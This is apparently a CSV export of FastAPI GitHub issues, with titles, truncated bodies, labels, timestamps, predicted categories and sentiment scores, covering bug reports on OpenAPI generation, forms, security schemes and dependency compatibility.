@a... [TRUNCATED]",bug,2025-12-05 21:20:18+00:00,2025-12-05 21:22:58+00:00,1,bug,0.0019,bug with async callable class dependency in fastapi creating the issue for completeness solved by discussed in originally posted by tanguymichardiere december first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import annotated from fastapi import depends fastapi from fastapi dependencies models import dependant from uvicorn import run class dependency def init self print init async def call self print call print dependant dependency is coroutine callable with fastapi with fastapi app fastapi a truncated,bug,0.9161
tiangolo/fastapi,3694454256,"OAuth2 security schemes duplicated in OpenAPI, with and without scopes, when used at the router level","### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

OAuth2 security schemes duplicated in OpenAPI, with and without scopes, when used at the router level

Reported by @Kludex on another channel 🙌 

(I'm working on it)

```Python
# /// script
# dependencies = [
#   ""fastapi[standard]==0.121.3"",
# ]
# ///

import json
import sys
from typing import Annotated

import fastapi
from fastapi import APIRouter, Depends, FastAPI, Security
from fastapi.security import OAuth2AuthorizationCodeBearer, SecurityScopes


# print the dependencies
print(f'fastapi version = {fastapi.__version__}')
print(f'Python version = {sys.version}')



app = FastAPI()

oauth2_scheme = OAuth2AuthorizationCodeBearer(
    authorizationUrl='api/oauth/authorize',
    tokenUrl='/api/oauth/token',
    refreshUrl='/api/oauth/token',
    auto_error=False,
    scopes={'read': 'Read access', 'write': 'Write access'},
)

async def get_token(
    token: Annotated[str, Depends(oauth2_scheme)],
) -> str:
    return token

AccessToken = Annotated[str, Depends(get_token, use_cache=True)]


async def require_oauth_scopes(security_scopes: SecurityScopes, token: AccessToken) -> None:
    pass        


async def check_limit(token: AccessToken) -> None:
    pass

# The problem is here. If we remove the dependency from the router, the schema is generated correctly in both fastapi versions.
router = APIRouter(prefix='/v1', dependencies=[Depends(check_limit)])

channels_rou... [TRUNCATED]",bug,2025-12-04 12:35:06+00:00,2025-12-04 22:22:02+00:00,3,bug,0.4076,oauth security schemes duplicated in openapi with and without scopes when used at the router level privileged issue x i m tiangolo or he asked me directly to create an issue here issue content oauth security schemes duplicated in openapi with and without scopes when used at the router level reported by kludex on another channel i m working on it python script dependencies fastapi standard import json import sys from typing import annotated import fastapi from fastapi import apirouter depends fastapi security from fastapi security import oauth authorizationcodebearer securityscopes print the dependencies print f fastapi version fastapi version print f python version sys version app fastapi oauth scheme oauth authorizationcodebearer authorizationurl api oauth authorize tokenurl api oauth token refreshurl api oauth token auto error false scopes read read access write write access async def get token token annotated str depends oauth scheme str return token accesstoken annotated str depends get token use cache true async def require oauth scopes security scopes securityscopes token accesstoken none pass async def check limit token accesstoken none pass the problem is here if we remove the dependency from the router the schema is generated correctly in both fastapi versions router apirouter prefix v dependencies depends check limit channels rou truncated,bug,0.9438
tiangolo/fastapi,3690854204,FastAPI 0.123.5 breaks async wrappers using @wraps,"(Already being worked on)

### Discussed in https://github.com/fastapi/fastapi/discussions/14442

<div type='discussions-op-text'>

<sup>Originally posted by **falkoschindler** December  3, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from functools import wraps
import uvicorn
from fastapi import FastAPI

app = FastAPI()

def my_decorator(func):
    """"""A decorator that wraps a sync function with an async handler.""""""

    @wraps(func)
    async def wrapper():
        func()
        return 'OK'

    return wrapper

@app.get('/')
@my_decorator
def index():
    """"""A simple sync page function.""""""
    print('Hello!')

if __name__ == '__main__':
    uvicorn.run(app)
```


### Description

* Visit ""/""... [TRUNCATED]",bug,2025-12-03 16:04:52+00:00,2025-12-04 07:37:05+00:00,1,bug,0.6474,fastapi breaks async wrappers using wraps already being worked on discussed in originally posted by falkoschindler december first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description visit truncated,bug,0.9136
tiangolo/fastapi,3684913591,FastAPI app with `separate_input_output_schemas` disabled excludes computed fields on Pydantic models from OpenAPI output,"Adding the issue for completeness.

Solved in https://github.com/fastapi/fastapi/pull/13207

### Discussed in https://github.com/fastapi/fastapi/discussions/10342

<div type='discussions-op-text'>

<sup>Originally posted by **ldthorne** September 27, 2023</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import pytest
from fastapi import FastAPI
from starlette.testclient import TestClient


@pytest.fixture(name=""client"")
def get_client():
    app = FastAPI(separate_input_output_schemas=False)

    from pydantic import BaseModel, computed_field

    class Rectangle(BaseModel):
        width: int
        length: int

        @computed_field
        @property
        def area(self) -> int:
            retu... [TRUNCATED]",bug,2025-12-02 09:22:13+00:00,2025-12-02 09:23:31+00:00,1,bug,0.0009,fastapi app with disabled excludes computed fields on pydantic models from openapi output adding the issue for completeness solved in discussed in originally posted by ldthorne september first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import pytest from fastapi import fastapi from starlette testclient import testclient pytest fixture name client def get client app fastapi separate input output schemas false from pydantic import basemodel computed field class rectangle basemodel width int length int computed field property def area self int retu truncated,bug,0.9224
tiangolo/fastapi,3620183024,AttributeError: 'dict' object has no attribute 'split',"Minimum Reproducible Example:

```py
# /// script
# dependencies = [
#   ""pydantic"",
#   ""fastapi[standard]"",
#   ""starlette"",
# ]
# ///

import pydantic
import starlette
import fastapi
from fastapi import FastAPI
import sys
from pydantic import BaseModel, Field, ConfigDict

# print the dependencies to stdout, one per line
print(f'pydantic version = {pydantic.__version__}')
print(f'starlette version = {starlette.__version__}')
print(f'fastapi version = {fastapi.__version__}')
# print python version
print(f'Python version = {sys.version}')


app = FastAPI(title='Logfire')

class ModelWithRef(BaseModel):
    ref: str = Field(validation_alias='$ref', serialization_alias='$ref')
    model_config = ConfigDict(validate_by_alias=True, serialize_by_alias=True)



@app.get('/')
async def read_root() -> ModelWithRef:
    return ModelWithRef(ref='some-ref')

print(app.openapi())
```

Run with `uv run main.py`.

Error:

```bash
❯ uv run main.py   
Installed 42 packages in 61ms
pydantic version = 2.12.4
starlette version = 0.49.3
fastapi version = 0.121.1
Python version = 3.10.15 (main, Oct 16 2024, 08:33:15) [Clang 18.1.8 ]
Traceback (most recent call last):
  File ""/Users/marcelotryle/dev/main.py"", line 36, in <module>
    print(app.openapi())
  File ""/Users/marcelotryle/.cache/uv/environments-v2/main-84bd05b9e640fe68/lib/python3.10/site-packages/fastapi/applications.py"", line 1060, in openapi
    self.openapi_schema = get_openapi(
  File ""/Users/marcelotryle/.cache/uv/environments-v2/m... [TRUNCATED]","bug,answered",2025-11-13 08:50:10+00:00,2025-11-14 14:13:35+00:00,2,"bug,answered",1.2246,attributeerror dict object has no attribute split minimum reproducible example run with error bash uv run main py installed packages in ms pydantic version starlette version fastapi version python version main oct clang traceback most recent call last file users marcelotryle dev main py line in print app openapi file users marcelotryle cache uv environments v main bd b e fe lib python site packages fastapi applications py line in openapi self openapi schema get openapi file users marcelotryle cache uv environments v m truncated,bug,-0.6369
tiangolo/fastapi,3603463237,CORS Middleware and exception handler,"the MRE is at [https://github.com/4tst/mre-exception-handler](https://github.com/4tst/mre-exception-handler). 

without `@exception_handler(ValueError)`, then will appear CORS error when request sub-route,
for more detail, please click [here](https://github.com/4tst/mre-exception-handler)",,2025-11-08 11:41:53+00:00,2025-11-08 11:44:44+00:00,0,nan,0.002,cors middleware and exception handler the mre is at without then will appear cors error when request sub route for more detail please click here,others,-0.1082
tiangolo/fastapi,3575995490,🐛 0.120.3 breaks `SecurityBase` based dependencies in OpenAPI,"Edit: Added as an issue for completeness and history.

### Discussed in https://github.com/fastapi/fastapi/discussions/14263

<div type='discussions-op-text'>

<sup>Originally posted by **oldfielj-ansto** October 31, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from uvicorn import run
from fastapi import FastAPI, Depends
from fastapi.security import OpenIdConnect


_oidc = OpenIdConnect(
    openIdConnectUrl=""https://localhost/auth/realms/test/.well-known/openid-configuration"",
)

app = FastAPI(
    title=""My Application"",
    docs_url=""/swagger"",
    redoc_url=""/docs"",
    openapi_url=""/openapi.json"",
    dependencies=(Depends(_oidc),),
)


@app.get(""/"")
async def hello_world():
    return {""... [TRUNCATED]",bug,2025-10-31 18:27:22+00:00,2025-10-31 18:41:06+00:00,1,bug,0.0095,breaks based dependencies in openapi edit added as an issue for completeness and history discussed in originally posted by oldfielj ansto october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from uvicorn import run from fastapi import fastapi depends from fastapi security import openidconnect oidc openidconnect openidconnecturl app fastapi title my application docs url swagger redoc url docs openapi url openapi json dependencies depends oidc app get async def hello world return truncated,bug,0.9413
tiangolo/fastapi,3565751506,Component name regression in OpenAPI spec for v0.119.0,"Adding the issue here for completeness, although most of the conversation is in the GitHub Discussion.

### Discussed in https://github.com/fastapi/fastapi/discussions/14177

<div type='discussions-op-text'>

<sup>Originally posted by **walsha2** October 12, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from enum import StrEnum

from fastapi import FastAPI
from pydantic import BaseModel, Field


class MessageEventType(StrEnum):
    alpha = ""alpha""
    beta = ""beta""


class MessageEvent(BaseModel):
    event_type: MessageEventType = Field(default=MessageEventType.alpha)
    output: str


class MessageOutput(BaseModel):
    body: str = """"
    events: list[MessageEvent]


class Message(BaseModel):... [TRUNCATED]",bug,2025-10-29 12:29:40+00:00,2025-10-29 13:49:55+00:00,1,bug,0.0557,component name regression in openapi spec for v adding the issue here for completeness although most of the conversation is in the github discussion discussed in originally posted by walsha october first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from enum import strenum from fastapi import fastapi from pydantic import basemodel field class messageeventtype strenum alpha alpha beta beta class messageevent basemodel event type messageeventtype field default messageeventtype alpha output str class messageoutput basemodel body str events list messageevent class message basemodel truncated,bug,0.9136
tiangolo/fastapi,3548601627,docs: Fix typo in tutorial documentation,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

## Description
Fixed a minor typo in the tutorial documentation to improve clarity and readability.

## Changes
- Fixed typo: ""recieve"" → ""receive"" in `docs/en/docs/tutorial/body.md`
- Line 45: Updated documentation for better accuracy

## Checklist
- [x] Typo verified against proper spelling
- [x] No code changes, documentation only
- [x] Follows existing documentation style

This small fix helps new users better understand the tutorial.",,2025-10-24 09:55:25+00:00,2025-10-24 10:06:09+00:00,0,nan,0.0075,docs fix typo in tutorial documentation privileged issue x i m tiangolo or he asked me directly to create an issue here issue content description fixed a minor typo in the tutorial documentation to improve clarity and readability changes fixed typo recieve receive in line updated documentation for better accuracy checklist x typo verified against proper spelling x no code changes documentation only x follows existing documentation style this small fix helps new users better understand the tutorial,bug,0.9628
tiangolo/fastapi,3544101941,Changes to _remap_definitions_and_field_mappings failing in v0.119,"Hello there! I just noticed that recent changes to

https://github.com/fastapi/fastapi/blame/cb7018d782c88b189f11d6141c8231ffb9b403b0/fastapi/_compat/v2.py#L273 in v0.119.0

Started showing up as errors like:

```python
    def _remap_definitions_and_field_mappings(
        *,
        model_name_map: ModelNameMap,
        definitions: Dict[str, Any],
        field_mapping: Dict[
            Tuple[ModelField, Literal[""validation"", ""serialization""]], JsonSchemaValue
        ],
    ) -> Tuple[
        Dict[Tuple[ModelField, Literal[""validation"", ""serialization""]], JsonSchemaValue],
        Dict[str, Any],
    ]:
        old_name_to_new_name_map = {}
        for field_key, schema in field_mapping.items():
            model = field_key[0].type_
            if model not in model_name_map:
                continue
            new_name = model_name_map[model]
>           old_name = schema[""$ref""].split(""/"")[-1]
                       ^^^^^^^^^^^^^^
E           KeyError: '$ref'

(...)

 field_mapping = {(ModelField(field_info=Body(PydanticUndefined), name='body', mode='validation'), 'validation'): {'$ref': '#/component...validation'), 'validation'): {'$ref': '#/components/schemas/xyz__apps__api__preferences__integrations__Body'}, ...}
```",,2025-10-23 10:31:16+00:00,2025-10-24 12:50:54+00:00,5,nan,1.097,changes to remap definitions and field mappings failing in v hello there i just noticed that recent changes to in v started showing up as errors like,others,-0.4939
tiangolo/fastapi,3527351445,"Se que ha pasado mucho tiempo, soy ingeniero y Senior en Desarrollo de Software, creo que  hay demasiado factores para que un código sea más rápido, o se note lento:","Se que ha pasado mucho tiempo, soy ingeniero y Senior en Desarrollo de Software, creo que  hay demasiado factores para que un código sea más rápido, o se note lento:
a) El hadware.
b) La internet.
c) Puede haber un virus.
d) La memoria esta muy ocupada,
e) etc. etc.

FastApi, es simplemente una arquitectura, y de paso creo desconoce que en  Python puede emplearse como una consola de servicio, mediante la libreria de PyCharm, que es algo totalmente distinto API Rest. por que es una arquitectura que debes diseñar con mucho criterio. Esto le permitiría tener administración correcta de los recursos eliminar cualquier tasa latencia, si es lo que están evaluando. 
De todas maneras no existe un mejor lenguaje de programación, para arquitecturas complejas de datos si no el mismo DBC, mediante procedimiento almacenado, y si quieren algo más complejo componente desarrollado en C++.
Con un componente (Librería Dinámica), es que postgres puede generar Vectores Embedding. Imaginase  una fuerte lógica de negocios. 

Saludos;

_Originally posted by @Joseg212 in https://github.com/fastapi/fastapi/discussions/7320#discussioncomment-14469070_",,2025-10-17 19:52:42+00:00,2025-10-17 19:53:50+00:00,0,nan,0.0008,se que ha pasado mucho tiempo soy ingeniero y senior en desarrollo de software creo que hay demasiado factores para que un c digo sea m s r pido o se note lento se que ha pasado mucho tiempo soy ingeniero y senior en desarrollo de software creo que hay demasiado factores para que un c digo sea m s r pido o se note lento a el hadware b la internet c puede haber un virus d la memoria esta muy ocupada e etc etc fastapi es simplemente una arquitectura y de paso creo desconoce que en python puede emplearse como una consola de servicio mediante la libreria de pycharm que es algo totalmente distinto api rest por que es una arquitectura que debes dise ar con mucho criterio esto le permitir a tener administraci n correcta de los recursos eliminar cualquier tasa latencia si es lo que est n evaluando de todas maneras no existe un mejor lenguaje de programaci n para arquitecturas complejas de datos si no el mismo dbc mediante procedimiento almacenado y si quieren algo m s complejo componente desarrollado en c con un componente librer a din mica es que postgres puede generar vectores embedding imaginase una fuerte l gica de negocios saludos originally posted by joseg in,others,0.1027
tiangolo/fastapi,3467389730,AssertionError: fastapi_inner_astack not found in request scope,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

latest version of Fastapi is not support with Starlette 0.48.0.

FAFastAPI 0.118.0
Starlette 0.48.0",,2025-09-30 03:36:27+00:00,2025-09-30 09:00:43+00:00,12,nan,0.2252,assertionerror fastapi inner astack not found in request scope privileged issue x i m tiangolo or he asked me directly to create an issue here issue content latest version of fastapi is not support with starlette fafastapi starlette,bug,0.4102
tiangolo/fastapi,3454529736,how is this code is relavent to this ?,"> Here's another repro:
> 
> ```python
> from __future__ import annotations
> 
> from typing import TYPE_CHECKING, Annotated
> 
> from fastapi import Depends, FastAPI
> from fastapi.testclient import TestClient
> 
> if TYPE_CHECKING:
>     from httpx import AsyncClient
> 
> app = FastAPI()
> 
> 
> @app.get(""/test"")
> async def ping(client: Annotated[AsyncClient, Depends(lambda: AsyncClient())]) -> str:
>     resp = await client.get('http://example.com')
>     resp.raise_for_status()
>     return f""Got {len(resp.text)} bytes""
> 
> 
> 
> async def test() -> None:
>     from httpx import AsyncClient
> 
>     async with AsyncClient() as client:
>         client = TestClient(app)
> 
>         response = client.get(""/test"")
>         assert response.status_code == 200, f""{response.status_code=}: {response.text=}""
> 
> 
> if __name__ == ""__main__"":
>     import anyio
> 
>     anyio.run(test)
> ``` 

 _Originally posted by @adriangb in [#13056](https://github.com/fastapi/fastapi/issues/13056#issuecomment-2616362994)_",,2025-09-25 17:36:22+00:00,2025-09-25 18:58:39+00:00,0,nan,0.0571,how is this code is relavent to this here s another repro originally posted by adriangb in,others,0.0
tiangolo/fastapi,3350280299,"validate_core_schema has been removed in the new pydantic-core (>=2.35.0), causing FastAPI to fail to import. Hoping to resolve this.","### Privileged issue

- [ ] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

validate_core_schema has been removed in the new pydantic-core (>=2.35.0), causing FastAPI to fail to import. Hoping to resolve this.

fastapi==0.116.1
pydantic_core==2.39.0",,2025-08-25 03:33:10+00:00,2025-08-25 06:34:30+00:00,0,nan,0.1259,validate core schema has been removed in the new pydantic core causing fastapi to fail to import hoping to resolve this privileged issue i m tiangolo or he asked me directly to create an issue here issue content validate core schema has been removed in the new pydantic core causing fastapi to fail to import hoping to resolve this fastapi pydantic core,feature,0.9197
tiangolo/fastapi,3219066440,"Support for propertyNames in OpenAPI schema when using dict[Enum, ...] with Pydantic v2","When using dict[StrEnum, ...] or RootModel[dict[StrEnum, ...]] in a FastAPI app with Pydantic v2, the generated OpenAPI schema does not enumerate the enum values used as dictionary keys. Instead, the UI shows [any-key], which does not reflect the actual constraints.

As of Pydantic v2.11+, support for emitting propertyNames with enum constraints was added via [PR #10478](https://github.com/pydantic/pydantic/pull/10478). This allows OpenAPI/JSON Schema to correctly express restrictions on object keys, such as:

```
{
  ""type"": ""object"",
  ""propertyNames"": {
    ""type"": ""string"",
    ""enum"": [""foo"", ""bar""]
  },
  ""additionalProperties"": {
    ""type"": ""integer""
  }
}
```

However, FastAPI currently does not appear to consume or propagate the propertyNames node from Pydantic’s schema output, so these constraints are missing in the OpenAPI spec and Swagger UI.

### Expected Behavior

FastAPI should correctly include propertyNames in the generated OpenAPI schema when dict[Enum, T] is used as a request/response model with Pydantic v2. This would allow Swagger UI to better reflect the allowed dictionary keys.

### To Reproduce
```
from enum import StrEnum
from pydantic import RootModel
from fastapi import FastAPI

class MyEnum(StrEnum):
    foo = ""foo""
    bar = ""bar""

class MyModel(RootModel[dict[MyEnum, int]]):
    pass

app = FastAPI()

@app.post(""/test"")
def test_endpoint(model: MyModel):
    return model
```

### Resulting OpenAPI Schema:
```
{
  ""type"": ""object"",
  ""additionalP... [TRUNCATED]",,2025-07-10 11:59:00+00:00,2025-12-12 15:15:57+00:00,11,nan,155.1368,support for propertynames in openapi schema when using dict enum with pydantic v when using dict strenum or rootmodel dict strenum in a fastapi app with pydantic v the generated openapi schema does not enumerate the enum values used as dictionary keys instead the ui shows any key which does not reflect the actual constraints as of pydantic v support for emitting propertynames with enum constraints was added via pr this allows openapi json schema to correctly express restrictions on object keys such as however fastapi currently does not appear to consume or propagate the propertynames node from pydantic s schema output so these constraints are missing in the openapi spec and swagger ui fastapi should correctly include propertynames in the generated openapi schema when dict enum t is used as a request response model with pydantic v this would allow swagger ui to better reflect the allowed dictionary keys to reproduce resulting openapi schema type object additionalp truncated,help,0.8658
tiangolo/fastapi,3187493504,API Big file attacks,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Any POST interface, submitting a file request (even if the interface does not declare to accept file parameters) causes the service memory to expand until the service crashes
",,2025-06-30 07:45:09+00:00,2025-06-30 07:55:42+00:00,0,nan,0.0073,api big file attacks privileged issue x i m tiangolo or he asked me directly to create an issue here issue content any post interface submitting a file request even if the interface does not declare to accept file parameters causes the service memory to expand until the service crashes,others,0.2996
tiangolo/fastapi,3064746072,SUB APPLICATIONS - MOUNTS IS SHOW INCORRECT INFORMATION,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

Hi,

I'm checking the docs: https://fastapi.tiangolo.com/advanced/sub-applications/#check-the-automatic-api-docs

I see this example:

![Image](https://github.com/user-attachments/assets/12381416-ea90-46c8-bc0d-bf1f38fbc9ec)

but when I test in my local machine. I see it:

![Image](https://github.com/user-attachments/assets/347a24d3-edb2-439c-b3cc-afe4875d0783)

Am I doing some bad?

Thanks.",,2025-05-15 03:06:28+00:00,2025-05-15 11:40:49+00:00,0,nan,0.3572,sub applications mounts is show incorrect information privileged issue x i m tiangolo or he asked me directly to create an issue here issue content hi i m checking the docs i see this example image but when i test in my local machine i see it image am i doing some bad thanks,others,0.1531
tiangolo/fastapi,2989428589,FastAPI Tensor flow and tensor flow lite issue with Pyhon v3.14.x when making a pip installtion bug,"### Privileged issue

- [x] I'm @tiangolo or he asked me directly to create an issue here.

### Issue Content

I'm running a FastAPI backend and a frontend in flutter . After upgrading python version to v3.14.x, i was unable to install tensorflow or tensorflow lite for my project 
please check out the issue to fix 

Downgrading python to v3.14.x fixed it.",,2025-04-11 18:26:53+00:00,2025-04-12 10:04:58+00:00,2,nan,0.6514,fastapi tensor flow and tensor flow lite issue with pyhon v x when making a pip installtion bug privileged issue x i m tiangolo or he asked me directly to create an issue here issue content i m running a fastapi backend and a frontend in flutter after upgrading python version to v x i was unable to install tensorflow or tensorflow lite for my project please check out the issue to fix downgrading python to v x fixed it,bug,0.7003
tiangolo/fastapi,2942725856,Multiple regressions in the handling of forms & form validation,"

### Issue Content

We have found at least 2 regression in the way forms are handled while trying to migrate to v0.115.11 from version v0.112.4. After investigation we were able to identify 2 commits that introduce 2 separate bugs that break the handling of default values in both `x-form-urlencoded` and `mutlipart` froms. Partial fixes have been proposed that also address a CVE, but the PR has been hanging since october 24.

# Breaking in the handling of default value in `x-url-encoded` forms

This bug has been introduced in https://github.com/fastapi/fastapi/pull/12134.

MRE:
```python
app = FastAPI()


@app.post(""/"")
def root(
    name: Annotated[Optional[str], Form(embed=True)] = None,
):
    print(name)
    return name
```

with the following request:
```
❯ http post -v --form localhost:8888 name=""""
POST / HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Connection: keep-alive
Content-Length: 5
Content-Type: application/x-www-form-urlencoded
Host: localhost:8888
User-Agent: xh/0.24.0

name=

HTTP/1.1 200 OK
Content-Length: 2
Content-Type: application/json
Date: Sun, 23 Mar 2025 21:01:49 GMT
Server: uvicorn

""""
```
The expected result is that `None` is printed, but instead `""""` is printed.

this is the offending bit from the linked PR:
```
diff --git a/fastapi/dependencies/utils.py b/fastapi/dependencies/utils.py
index 6083b731..db7eedba 100644
--- a/fastapi/dependencies/utils.py
+++ b/fastapi/dependencies/utils.py
@@ -789,9 +789,9 @@ async def _extract_form_... [TRUNCATED]",bug,2025-03-24 10:13:27+00:00,2025-12-02 04:39:57+00:00,23,bug,252.7684,multiple regressions in the handling of forms form validation issue content we have found at least regression in the way forms are handled while trying to migrate to v from version v after investigation we were able to identify commits that introduce separate bugs that break the handling of default values in both and froms partial fixes have been proposed that also address a cve but the pr has been hanging since october breaking in the handling of default value in forms this bug has been introduced in mre with the following request the expected result is that is printed but instead is printed this is the offending bit from the linked pr diff git a fastapi dependencies utils py b fastapi dependencies utils py index b db eedba a fastapi dependencies utils py b fastapi dependencies utils py async def extract form truncated,bug,-0.7351
tiangolo/fastapi,2905610405,Basic auth `realm` is REQUIRED but handled as optional,"According to https://datatracker.ietf.org/doc/html/rfc7617#autoid-3 , specification of the `realm` parameter is REQUIRED, so making `realm` optional here

https://github.com/fastapi/fastapi/blob/643d2845de09a437b955a163ab25eb0887bfd0e1/fastapi/security/http.py#L195

and at related places, is misleading and makes it easy to create non-conforming APIs. It bit me when a Shelly device refused (rightfully) to authenticate against the API which was using the default (missing) `realm` behavior.
",bug,2025-03-09 18:56:54+00:00,2026-01-12 10:09:55+00:00,7,bug,308.634,basic auth is required but handled as optional according to specification of the parameter is required so making optional here and at related places is misleading and makes it easy to create non conforming apis it bit me when a shelly device refused rightfully to authenticate against the api which was using the default missing behavior,bug,-0.5023
tiangolo/fastapi,2889038429,Validations in `Annotated` like `AfterValidator` do not work in FastAPI 0.115.10,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13431

<div type='discussions-op-text'>

<sup>Originally posted by **amacfie-tc** February 28, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated

from pydantic import AfterValidator
from fastapi import FastAPI


app = FastAPI()

def validator(v):
    raise ValueError()

Ints = Annotated[list[int], AfterValidator(validator)]

@app.post(""/"")
def post(ints: Ints) -> None:
    return None
```


### Description

If we run the code and send a request to the endpoint, e.g.
```
echo -n '[2,3,4]' | http POST http://localhost:8000
```
on version 0.115.9, we get a 422 but on 0.115.10 we get 200. Is this a bug?

### O... [TRUNCATED]",bug,2025-03-01 17:19:44+00:00,2025-03-01 22:40:52+00:00,2,bug,0.223,validations in like do not work in fastapi discussed in originally posted by amacfie tc february first check x i added a very descriptive title here x i used the github search to find a similar question and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description if we run the code and send a request to the endpoint e g on version we get a but on we get is this a bug o truncated,bug,0.8271
tiangolo/fastapi,2866648368,Header parameter and model handling does not work as expected,"
### Discussed in https://github.com/fastapi/fastapi/discussions/13160

<div type='discussions-op-text'>

<sup>Originally posted by **freud14-tm** January  6, 2025</sup>
### First Check

- [X] I added a very descriptive title here.
- [X] I used the GitHub search to find a similar question and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/pydantic/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Annotated, TypeAlias

from fastapi import FastAPI, Header
from pydantic import BaseModel

app = FastAPI()


class CommonHeaders(BaseModel):
    host: str
    save_data: bool
    if_modified_since: str | None = None
    traceparent: str | None = None
    x_tag: list[str] = []


CommonHeadersAnnotated: TypeAlias = Annotated[CommonHeaders, Header()]


@app.get(""/items/"")
async def read_items(headers: CommonHeadersAnnotated):
    return headers


